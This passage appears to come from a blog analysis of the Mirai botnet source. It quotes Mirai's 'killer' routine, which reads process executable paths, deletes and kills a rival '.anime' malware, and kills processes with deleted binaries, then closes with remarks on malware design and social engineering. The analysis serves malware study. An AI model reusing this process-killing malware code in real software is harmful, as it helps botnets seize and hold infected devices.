            table_lock_val(TABLE_KILLER_PROC);
            table_lock_val(TABLE_KILLER_EXE);

            // Resolve exe_path (/proc/$pid/exe) -> realpath
            if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
            {
                realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string

                table_unlock_val(TABLE_KILLER_ANIME);
                // If path contains ".anime" kill.
                if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
                {
                    unlink(realpath);
                    kill(pid, 9);
                }
                table_lock_val(TABLE_KILLER_ANIME);

                // Skip this file if its realpath == killer_realpath
                if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))
                    continue;

                if ((fd = open(realpath, O_RDONLY)) == -1)
                {
#ifdef DEBUG
                    printf("[killer] Process '%s' has deleted binary!\n", realpath);
#endif
                    kill(pid, 9);
                }
                close(fd);
            }

The goal of this is obvious Mirai maximize the attack potential of the botnet devices, “Rise Up And Kill Him First”, These offensive and defensive measures are common among malware authors.

Finally, These were some of the intriguing aspects I found within this source code. They underscore the delicate balance between the complexity and simplicity of malware development; achieving success in infiltrating advanced systems often doesn’t require advanced malware.

Instead, it comes down to human error and the art of social engineering. To this day, social engineering remains one of the most effective techniques for spreading malware or executing offensive operations.